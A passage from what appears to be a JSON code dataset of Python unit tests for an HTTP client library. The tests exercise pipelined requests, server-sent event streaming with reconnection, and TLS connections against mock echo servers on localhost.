beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'request':\n {'host': '127.0.0.1',\n 'port': 6101,\n 'scheme': 'http',\n 'method': 'GET',\n 'path': '/echo',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json'},\n 'body': b'',\n 'data': None,\n 'fargs': None,\n }\n })\n\n alpha.close()\n beta.connector.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testPatronPipelineEchoSimple", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 1771 }, { "content": " def mockEchoServicePath(self, server):\n \"\"\"\n mock echo server service\n \"\"\"\n server.serviceConnects()\n if server.ixes:\n server.serviceReceivesAllIx()\n\n ixClient = server.ixes.values()[0]\n msgIn = bytes(ixClient.rxbs)\n if msgIn== b'GET /echo?name=fame HTTP/1.1\\r\\nHost: localhost:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n':\n ixClient.clearRxbs()\n msgOut = b'HTTP/1.1 200 OK\\r\\nContent-Length: 122\\r\\nContent-Type: application/json\\r\\nDate: Thu, 30 Apr 2015 19:37:17 GMT\\r\\nServer: IoBook.local\\r\\n\\r\\n{\"content\": null, \"query\": {\"name\": \"fame\"}, \"verb\": \"GET\", \"url\": \"http://127.0.0.1:8080/echo?name=fame\", \"action\": null}'\n ixClient.tx(msgOut)\n msgIn = b''\n msgOut = b''\n\n server.serviceTxesAllIx()", "metadata": "root.BasicTestCase.mockEchoServicePath", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 1915 }, { "content": " def testPatronPipelineEchoSimplePath(self):\n \"\"\"\n Test Patron pipeline servicing using path components for host port scheme\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testPatronPipelineEchoSimplePath.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n console.terse(\"{0}\\n\".format(\"Building Connector ...\\n\"))\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n #host = alpha.eha[0]\n #port = alpha.eha[1]\n path = \"http://{0}:{1}/\".format('localhost', alpha.eha[1])\n\n beta = clienting.Patron(bufsize=131072,\n wlog=wireLogBeta,\n path=path,\n reconnectable=True,\n )\n\n self.assertIs(beta.connector.reopen(), True)\n self.assertIs(beta.connector.accepted, False)\n self.assertIs(beta.connector.connected, False)\n self.assertIs(beta.connector.cutoff, False)\n\n request = odict([('method', u'GET'),\n ('path', u'/echo?name=fame'),\n ('qargs', odict()),\n ('fragment', u''),\n ('headers', odict([('Accept', 'application/json')])),\n ('body', None),\n ])\n\n beta.requests.append(request)\n\n while (not alpha.ixes or beta.requests or\n beta.connector.txes or not beta.respondent.ended):\n self.mockEchoServicePath(alpha)\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'request':\n {'host': 'localhost',\n 'port': 6101,\n 'scheme': 'http',\n 'method': 'GET',\n 'path': '/echo',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json'},\n 'body': b'',\n 'data': None,\n 'fargs': None,\n }\n })\n\n beta.requests.append(request)\n\n while (not alpha.ixes or beta.requests or\n beta.connector.txes or not beta.respondent.ended):\n self.mockEchoServicePath(alpha)\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'request':\n {'host': 'localhost',\n 'port': 6101,\n 'scheme': 'http',\n 'method': 'GET',\n 'path': '/echo',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json'},\n 'body': b'',\n 'data': None,\n 'fargs': None,\n }\n })\n\n alpha.close()\n beta.connector.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testPatronPipelineEchoSimplePath", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 1934 }, { "content": " def testPatronPipelineEchoSimplePathTrack(self):\n \"\"\"\n Test Patron pipeline servicing using path components for host port scheme\n Request includes tracking information that is included in reponses copy\n of request\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testPatronPipelineEchoSimplePathTrack.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n console.terse(\"{0}\\n\".format(\"Building Connector ...\\n\"))\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n #host = alpha.eha[0]\n #port = alpha.eha[1]\n path = \"http://{0}:{1}/\".format('localhost', alpha.eha[1])\n\n beta = clienting.Patron(bufsize=131072,\n wlog=wireLogBeta,\n path=path,\n reconnectable=True,\n )\n\n self.assertIs(beta.connector.reopen(), True)\n self.assertIs(beta.connector.accepted, False)\n self.assertIs(beta.connector.connected, False)\n self.assertIs(beta.connector.cutoff, False)\n\n request = odict([('method', u'GET'),\n ('path', u'/echo?name=fame'),\n ('qargs', odict()),\n ('fragment', u''),\n ('headers', odict([('Accept', 'application/json')])),\n ('body', None),\n ('mid', 1),\n ('drop', '.stuff.reply'),\n ])\n\n beta.requests.append(request)\n\n while (not alpha.ixes or beta.requests or\n beta.connector.txes or not beta.respondent.ended):\n self.mockEchoServicePath(alpha)\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'request':\n {'host': 'localhost',\n 'port': 6101,\n 'scheme': 'http',\n 'method': 'GET',\n 'path': '/echo',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json'},\n 'body': b'',\n 'data': None,\n 'fargs': None,\n 'mid': 1,\n 'drop': '.stuff.reply'\n }\n })\n\n request.update(mid=2, drop='.puff.reply')\n beta.requests.append(request)\n\n while (not alpha.ixes or beta.requests or\n beta.connector.txes or not beta.respondent.ended):\n self.mockEchoServicePath(alpha)\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'request':\n {'host': 'localhost',\n 'port': 6101,\n 'scheme': 'http',\n 'method': 'GET',\n 'path': '/echo',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json'},\n 'body': b'',\n 'data': None,\n 'fargs': None,\n 'mid': 2,\n 'drop': '.puff.reply'\n }\n })\n\n alpha.close()\n beta.connector.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testPatronPipelineEchoSimplePathTrack", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 2079 }, { "content": " def mockEchoServiceJson(self, server):\n \"\"\"\n mock echo server service with json data request body\n \"\"\"\n server.serviceConnects()\n if server.ixes:\n server.serviceReceivesAllIx()\n\n ixClient = server.ixes.values()[0]\n msgIn = bytes(ixClient.rxbs)\n if msgIn == b'PUT /echo?name=fame HTTP/1.1\\r\\nHost: localhost:6101\\r\\nAccept-Encoding: identity\\r\\nContent-Length: 31\\r\\nAccept: application/json\\r\\nContent-Type: application/json; charset=utf-8\\r\\n\\r\\n{\"first\":\"John\",\"last\":\"Smith\"}':\n ixClient.clearRxbs()\n msgOut = b'HTTP/1.1 200 OK\\r\\nContent-Length: 122\\r\\nContent-Type: application/json\\r\\nDate: Thu, 30 Apr 2015 19:37:17 GMT\\r\\nServer: IoBook.local\\r\\n\\r\\n{\"content\": null, \"query\": {\"name\": \"fame\"}, \"verb\": \"GET\", \"url\": \"http://127.0.0.1:8080/echo?name=fame\", \"action\": null}'\n ixClient.tx(msgOut)\n msgIn = b''\n msgOut = b''\n\n server.serviceTxesAllIx()", "metadata": "root.BasicTestCase.mockEchoServiceJson", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 2233 }, { "content": " def testPatronPipelineEchoJson(self):\n \"\"\"\n Test Patron pipeline servicing using path components for host port scheme\n with json body in data\n Request includes tracking information that is included in reponses copy\n of request\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testPatronPipelineEchoJson.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n console.terse(\"{0}\\n\".format(\"Building Connector ...\\n\"))\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n #host = alpha.eha[0]\n #port = alpha.eha[1]\n path = \"http://{0}:{1}/\".format('localhost', alpha.eha[1])\n\n beta = clienting.Patron(bufsize=131072,\n wlog=wireLogBeta,\n path=path,\n reconnectable=True,\n )\n\n self.assertIs(beta.connector.reopen(), True)\n self.assertIs(beta.connector.accepted, False)\n self.assertIs(beta.connector.connected, False)\n self.assertIs(beta.connector.cutoff, False)\n\n request = odict([('method', u'PUT'),\n ('path', u'/echo?name=fame'),\n ('qargs', odict()),\n ('fragment', u''),\n ('headers', odict([('Accept', 'application/json')])),\n ('data', odict([(\"first\", \"John\"), (\"last\", \"Smith\")])),\n ('mid', 1),\n ('drop', '.stuff.reply'),\n ])\n\n beta.requests.append(request)\n\n while (not alpha.ixes or beta.requests or\n beta.connector.txes or not beta.respondent.ended):\n self.mockEchoServiceJson(alpha)\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'request':\n {'host': 'localhost',\n 'port': 6101,\n 'scheme': 'http',\n 'method': 'PUT',\n 'path': '/echo',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json',\n 'content-type': 'application/json; charset=utf-8'},\n 'body': b'',\n 'data': { 'first': 'John', 'last': 'Smith'},\n 'fargs': None,\n 'mid': 1,\n 'drop': '.stuff.reply'\n }\n })\n\n request.update(mid=2, drop='.puff.reply')\n beta.requests.append(request)\n\n while (not alpha.ixes or beta.requests or\n beta.connector.txes or not beta.respondent.ended):\n self.mockEchoServiceJson(alpha)\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'request':\n {'host': 'localhost',\n 'port': 6101,\n 'scheme': 'http',\n 'method': 'PUT',\n 'path': '/echo',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json',\n 'content-type': 'application/json; charset=utf-8'},\n 'body': b'',\n 'data': { 'first': 'John', 'last': 'Smith'},\n 'fargs': None,\n 'mid': 2,\n 'drop': '.puff.reply'\n }\n })\n\n alpha.close()\n beta.connector.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testPatronPipelineEchoJson", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 2252 }, { "content": " def testPatronPipelineStream(self):\n \"\"\"\n Test Patron pipeline stream\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testPatronPipelineStream.__doc__))\n\n\n\n store = storing.Store(stamp=0.0)\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n alpha = tcp.Server(port = 6101,\n bufsize=131072,\n wlog=wireLogAlpha,\n store=store)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n console.terse(\"{0}\\n\".format(\"Building Connector ...\\n\"))\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n host = alpha.eha[0]\n port = alpha.eha[1]\n\n\n beta = clienting.Patron(bufsize=131072,\n wlog=wireLogBeta,\n hostname=host,\n port=port,\n store=store,\n reconnectable=True,\n )\n\n self.assertIs(beta.connector.reopen(), True)\n self.assertIs(beta.connector.accepted, False)\n self.assertIs(beta.connector.connected, False)\n self.assertIs(beta.connector.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.serviceAll()\n alpha.serviceConnects()\n if beta.connector.connected and beta.connector.ca in alpha.ixes:\n break\n time.sleep(0.05)\n beta.connector.store.advanceStamp(0.05)\n\n self.assertIs(beta.connector.accepted, True)\n self.assertIs(beta.connector.connected, True)\n self.assertIs(beta.connector.cutoff, False)\n self.assertEqual(beta.connector.ca, beta.connector.cs.getsockname())\n self.assertEqual(beta.connector.ha, beta.connector.cs.getpeername())\n self.assertEqual(alpha.eha, beta.connector.ha)\n\n ixBeta = alpha.ixes[beta.connector.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.connector.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.connector.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.connector.ca)\n self.assertEqual(ixBeta.ha, beta.connector.ha)\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n request = odict([('method', u'GET'),\n ('path', u'/stream'),\n ('qargs', odict()),\n ('fragment', u''),\n ('headers', odict([('Accept', 'application/json')])),\n ('body', None),\n ])\n\n beta.requests.append(request)\n\n console.terse(\"Beta requests to Alpha\\n\")\n console.terse(\"from {0}:{1}, {2} {3} ...\\n\".format(beta.connector.ha[0],\n beta.connector.ha[1],\n request['method'],\n request['path']))\n\n while (beta.requests or beta.connector.txes) and not ixBeta.rxbs:\n beta.serviceAll()\n time.sleep(0.05)\n beta.connector.store.advanceStamp(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n beta.connector.store.advanceStamp(0.05)\n\n msgIn = bytes(ixBeta.rxbs)\n msgOut = b'GET /stream HTTP/1.1\\r\\nHost: 127.0.0.1:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n'\n\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n lines = [\n b'HTTP/1.0 200 OK\\r\\n',\n b'Server: PasteWSGIServer/0.5 Python/2.7.9\\r\\n',\n b'Date: Thu, 30 Apr 2015 21:35:25 GMT\\r\\n'\n b'Content-Type: text/event-stream\\r\\n',\n b'Cache-Control: no-cache\\r\\n',\n b'Connection: close\\r\\n\\r\\n',\n b'retry: 1000\\n\\n',\n b'id: 0\\ndata: START\\n\\n',\n b'id: 1\\ndata: 1\\ndata: 2\\n\\n',\n b'id: 2\\ndata: 3\\ndata: 4\\n\\n',\n b'id: 3\\ndata: 5\\ndata: 6\\n\\n',\n b'id: 4\\ndata: 7\\ndata: 8\\n\\n',\n ]\n\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n timer = StoreTimer(store=store, duration=0.5)\n while ixBeta.txes or not timer.expired:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.connector.store.advanceStamp(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n beta.connector.store.advanceStamp(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n\n #timed out while stream still open so no responses in .responses\n self.assertIs(beta.waited, True)\n self.assertIs(beta.respondent.ended, False)\n self.assertEqual(len(beta.responses), 0)\n\n # but are events in .events\n self.assertEqual(len(beta.events), 5)\n self.assertEqual(beta.respondent.retry, 1000)\n self.assertEqual(beta.respondent.leid, '4')\n event = beta.events.popleft()\n self.assertEqual(event, {'id': '0', 'name': '', 'data': 'START'})\n event = beta.events.popleft()\n self.assertEqual(event, {'id': '1', 'name': '', 'data': '1\\n2'})\n event = beta.events.popleft()\n self.assertEqual(event, {'id': '2', 'name': '', 'data': '3\\n4'})\n beta.events.clear()\n\n # alpha's ixBeta connection shutdown prematurely\n console.terse(\"Disconnecting server so beta must auto reconnect ...\\n\")\n alpha.closeIx(beta.connector.ca)\n alpha.removeIx(beta.connector.ca)\n while True:\n beta.serviceAll()\n if not beta.connector.connected:\n break\n time.sleep(0.1)\n beta.connector.store.advanceStamp(0.1)\n\n self.assertIs(beta.connector.cutoff, False)\n\n console.terse(\"Auto reconnecting beta and rerequesting...\\n\")\n while True:\n beta.serviceAll()\n alpha.serviceConnects()\n if beta.connector.connected and beta.connector.ca in alpha.ixes:\n break\n time.sleep(0.05)\n beta.connector.store.advanceStamp(0.05)\n\n self.assertIs(beta.connector.accepted, True)\n self.assertIs(beta.connector.connected, True)\n self.assertIs(beta.connector.cutoff, False)\n self.assertEqual(beta.connector.ca, beta.connector.cs.getsockname())\n self.assertEqual(beta.connector.ha, beta.connector.cs.getpeername())\n self.assertEqual(alpha.eha, beta.connector.ha)\n\n ixBeta = alpha.ixes[beta.connector.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.connector.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.connector.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.connector.ca)\n self.assertEqual(ixBeta.ha, beta.connector.ha)\n\n console.terse(\"Server receiving...\\n\")\n while (beta.requests or beta.connector.txes) or not ixBeta.rxbs:\n beta.serviceAll()\n time.sleep(0.05)\n beta.connector.store.advanceStamp(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n beta.connector.store.advanceStamp(0.05)\n\n msgIn = bytes(ixBeta.rxbs)\n msgOut = b'GET /stream HTTP/1.1\\r\\nHost: 127.0.0.1:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\nLast-Event-Id: 4\\r\\n\\r\\n'\n\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n lines = [\n b'HTTP/1.0 200 OK\\r\\n',\n b'Server: PasteWSGIServer/0.5 Python/2.7.9\\r\\n',\n b'Date: Thu, 30 Apr 2015 21:35:25 GMT\\r\\n'\n b'Content-Type: text/event-stream\\r\\n',\n b'Cache-Control: no-cache\\r\\n',\n b'Connection: close\\r\\n\\r\\n',\n b'id: 5\\ndata: 9\\ndata: 10\\n\\n',\n b'id: 6\\ndata: 11\\ndata: 12\\n\\n',\n ]\n\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n timer = StoreTimer(store=store, duration=0.5)\n while ixBeta.txes or not timer.expired:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.connector.store.advanceStamp(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n beta.connector.store.advanceStamp(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n\n #timed out while stream still open so no responses in .responses\n self.assertIs(beta.waited, True)\n self.assertIs(beta.respondent.ended, False)\n self.assertEqual(len(beta.responses), 0)\n\n # but are events in .events\n self.assertEqual(len(beta.events), 2)\n self.assertEqual(beta.respondent.retry, 1000)\n self.assertEqual(beta.respondent.leid, '6')\n event = beta.events.popleft()\n self.assertEqual(event, {'id': '5', 'name': '', 'data': '9\\n10'})\n event = beta.events.popleft()\n self.assertEqual(event, {'id': '6', 'name': '', 'data': '11\\n12'})\n\n\n alpha.close()\n beta.connector.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testPatronPipelineStream", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 2409 }, { "content": " def mockEchoServiceSecure(self, server):\n \"\"\"\n mock echo server service TLS secure\n \"\"\"\n server.serviceConnects()\n if server.ixes:\n server.serviceReceivesAllIx()\n\n ixClient = server.ixes.values()[0]\n msgIn = bytes(ixClient.rxbs)\n if msgIn== b'GET /echo?name=fame HTTP/1.1\\r\\nHost: localhost:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n':\n ixClient.clearRxbs()\n msgOut = b'HTTP/1.1 200 OK\\r\\nContent-Length: 122\\r\\nContent-Type: application/json\\r\\nDate: Thu, 30 Apr 2015 19:37:17 GMT\\r\\nServer: IoBook.local\\r\\n\\r\\n{\"content\": null, \"query\": {\"name\": \"fame\"}, \"verb\": \"GET\", \"url\": \"http://127.0.0.1:8080/echo?name=fame\", \"action\": null}'\n ixClient.tx(msgOut)\n msgIn = b''\n msgOut = b''\n\n server.serviceTxesAllIx()", "metadata": "root.BasicTestCase.mockEchoServiceSecure", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 2651 }, { "content": " def testPatronPipelineEchoSimpleSecure(self):\n \"\"\"\n Test Patron pipeline servicing\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testPatronPipelineEchoSimpleSecure.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key\n serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert\n clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert\n\n clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key\n clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert\n serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert\n\n serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname\n\n alpha = tcp.ServerTls(host=serverCertCommonName,\n port = 6101,\n bufsize=131072,\n wlog=wireLogAlpha,\n context=None,\n version=None,\n certify=None,\n keypath=serverKeypath,\n certpath=serverCertpath,\n cafilepath=clientCafilepath,\n )\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('127.0.0.1', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n console.terse(\"{0}\\n\".format(\"Building Patron ...\\n\"))\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n host = alpha.eha[0]\n port = alpha.eha[1]\n\n beta = clienting.Patron(hostname=serverCertCommonName,\n port=alpha.eha[1],\n bufsize=131072,\n wlog=wireLogBeta,\n scheme='https',\n reconnectable=True,\n certedhost=serverCertCommonName,\n keypath=clientKeypath,\n certpath=clientCertpath,\n cafilepath=serverCafilepath,\n )\n\n self.assertIs(beta.connector.reopen(), True)\n self.assertIs(beta.connector.accepted, False)\n self.assertIs(beta.connector.connected, False)\n self.assertIs(beta.connector.cutoff, False)\n\n request = odict([('method', u'GET'),\n ('path', u'/echo?name=fame'),\n ('qargs', odict()),\n ('fragment', u''),\n ('headers', odict([('Accept', 'application/json')])),\n ('body', None),\n ])\n\n beta.requests.append(request)\n\n while (not alpha.ixes or beta.requests or\n beta.connector.txes or not beta.respondent.ended):\n self.mockEchoServiceSecure(alpha)\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'request':\n {'host': 'localhost',\n 'port': 6101,\n 'scheme': 'https',\n 'method': 'GET',\n 'path': '/echo',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json'},\n 'body': b'',\n 'data': None,\n 'fargs': None,\n }\n })\n\n beta.requests.append(request)\n\n while (not alpha.ixes or beta.requests or\n beta.connector.txes or not beta.respondent.ended):\n self.mockEchoServiceSecure(alpha)\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 